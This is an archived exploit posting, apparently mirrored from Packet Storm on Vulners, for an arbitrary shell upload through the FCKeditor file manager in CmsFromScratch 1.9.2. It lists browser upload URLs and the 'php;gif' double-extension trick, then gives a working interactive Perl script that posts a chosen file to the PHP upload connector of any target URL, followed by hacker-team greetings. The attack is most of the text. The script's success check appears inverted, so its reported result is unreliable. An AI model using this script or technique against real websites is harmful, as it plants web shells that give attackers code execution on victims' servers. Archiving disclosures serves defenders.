Lucene search
K

CmsFromScratch 1.9.2 Shell Upload

🗓️ 27 Jun 2011 00:00:00Reported by KedAns-DzType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 33 Views

CmsFromScratch 1.9.2 Shell Upload exploit by KedAns-Dz for Arbitrary Shell Upload via FCK/CK Editor allows remote attackers to upload and execute arbitrary PHP code

Code
`1-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=0  
0 _ __ __ __ 1  
1 /' \ __ /'__`\ /\ \__ /'__`\ 0  
0 /\_, \ ___ /\_\/\_\ \ \ ___\ \ ,_\/\ \/\ \ _ ___ 1  
1 \/_/\ \ /' _ `\ \/\ \/_/_\_<_ /'___\ \ \/\ \ \ \ \/\`'__\ 0  
0 \ \ \/\ \/\ \ \ \ \/\ \ \ \/\ \__/\ \ \_\ \ \_\ \ \ \/ 1  
1 \ \_\ \_\ \_\_\ \ \ \____/\ \____\\ \__\\ \____/\ \_\ 0  
0 \/_/\/_/\/_/\ \_\ \/___/ \/____/ \/__/ \/___/ \/_/ 1  
1 \ \____/ >> Exploit database separated by exploit 0  
0 \/___/ type (local, remote, DoS, etc.) 1  
1 1  
0 [+] Site : 1337day.com 0  
1 [+] Support e-mail : submit[at]1337day.com 1  
0 0  
1 ######################################### 1  
0 I'm KedAns-Dz member from Inj3ct0r Team 1  
1 ######################################### 0  
0-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-1  
  
###  
# Title : CmsFromScratch 1.9.2 (FCKeditor) Arbitrary Shell Upload Exploit  
# Author : KedAns-Dz  
# E-mail : [email protected] ([email protected]) | [email protected]  
# Home : HMD/AM (30008/04300) - Algeria -(00213555248701)  
# Web Site : www.1337day.com * www.exploit-id.com * www.dis9.com  
# Twitter page : twitter.com/kedans  
# platform : windows  
# Impact : Upload Shell Via (Browser & PERL)  
# Tested on : [Windows XP SP3 (Fr)]   
##  
# Download : [http://cmsfromscratch.googlecode.com/files/1-9-2.zip]  
###  
  
  
# 'FCK/CK' Editor :   
~~~~~~~~~~~~~~~~~~~~  
(Frederico Caldeira Knabben, Editor) =>  
This Module Is Files Controller and files manager ,   
You are Can Upload The Files and Include The Remote Files From the FCKEditor  
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~  
  
# (!) Exploits & PoC :  
  
#==(1)========[ Upload File (via Browser) ]======>  
  
  
+> http://[target]/fckeditor/editor/filemanager/browser/default/browser.html  
+> http://[target]/fckeditor/editor/filemanager/browser/default/frmupload.html  
  
-> Upload Sh3lL.php;gif ... The Access Not Forbidden !  
  
#==(2)========[Arbitrary Shell Upload (via PERL)]======================>  
  
#!/usr/bin/perl  
system ("title KedAns-Dz");  
system ("color 1e");  
system ("cls");  
use strict;  
use warnings;  
use LWP::UserAgent;  
use HTTP::Request::Common;  
print <<INTRO;  
|==========================================================|  
|= CmsFromScratch 1.9.2 (FCKeditor) Arbitrary Shell Upload |  
|= >> Provided By KedAns-Dz << |  
|= e-mail : ked-h[at]hotmail.com |  
|==========================================================|  
INTRO  
print "\n";  
print "[!] Enter URL(f.e: http://target.com): ";  
chomp(my $url=<STDIN>);  
print "\n";  
print "[!] Enter File Path (f.e: C:\\Shell.php.gif): "; # File Path For Upload (usage : C:\\Sh3ll.php.gif)  
chomp(my $file=<STDIN>);  
my $ua = LWP::UserAgent->new;  
my $re = $ua->request(POST $url.'/fckeditor/editor/filemanager/connectors/php/upload.php?Type=File',  
Content_Type => 'multipart/form-data',  
Content =>   
[   
actions => 'upload',  
NewFile => $file,  
] );  
print "\n";  
if($re->is_success) {  
if( index($re->content, "Disabled") != -1 ) { print "[+] Exploit Successfull! File Uploaded!\n"; }  
else { print "[-] File Upload Is Disabled! Failed!\n"; }  
} else { print "[-] HTTP request Failed!\n"; }  
exit;  
  
  
# (^_^) ! Good Luck ALL ...  
  
#================[ Exploited By KedAns-Dz * Inj3ct0r Team * ]====================================   
# Greets To : [D] HaCkerS-StreeT-Team [Z] < Algerians HaCkerS > Islampard + Z4k1-X-EnG + Dr.Ride  
# + Greets To Inj3ct0r Operators Team : r0073r * Sid3^effectS * r4dc0re (www.1337day.com)   
# Inj3ct0r Members 31337 : Indoushka * KnocKout * eXeSoul * eidelweiss * SeeMe * XroGuE * ZoRLu  
# gunslinger_ * Sn!pEr.S!Te * anT!-Tr0J4n * ^Xecuti0N3r 'www.1337day.com/team' ++ .... * Str0ke  
# Exploit-ID Team : jos_ali_joe + Caddy-Dz + kaMtiEz + r3m1ck (exploit-id.com) * TreX (hotturks.org)  
# Jago-Dz (sec4ever.com) * Kalashinkov3 * PaCketStorm Team (www.packetstormsecurity.org)  
# www.metasploit.com * UE-Team & Liyan Oz (www.dis9.com) * All Security and Exploits Webs ...  
# -+-+-+-+-+-+-+-+-+-+-+-+={ Greetings to Friendly Teams : }=+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-  
# (D) HaCkerS-StreeT-Team (Z) | Inj3ct0r | Exploit-ID | UE-Team | PaCket.Storm.Sec TM | Sec4Ever   
# h4x0re-Sec | Dz-Ghost | INDONESIAN CODER | HotTurks | IndiShell | D.N.A | DZ Team | Milw0rm  
# Indian Cyber Army | MetaSploit | BaCk-TraCk | AutoSec.Tools | HighTech.Bridge SA | Team DoS-Dz  
#================================================================================================  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation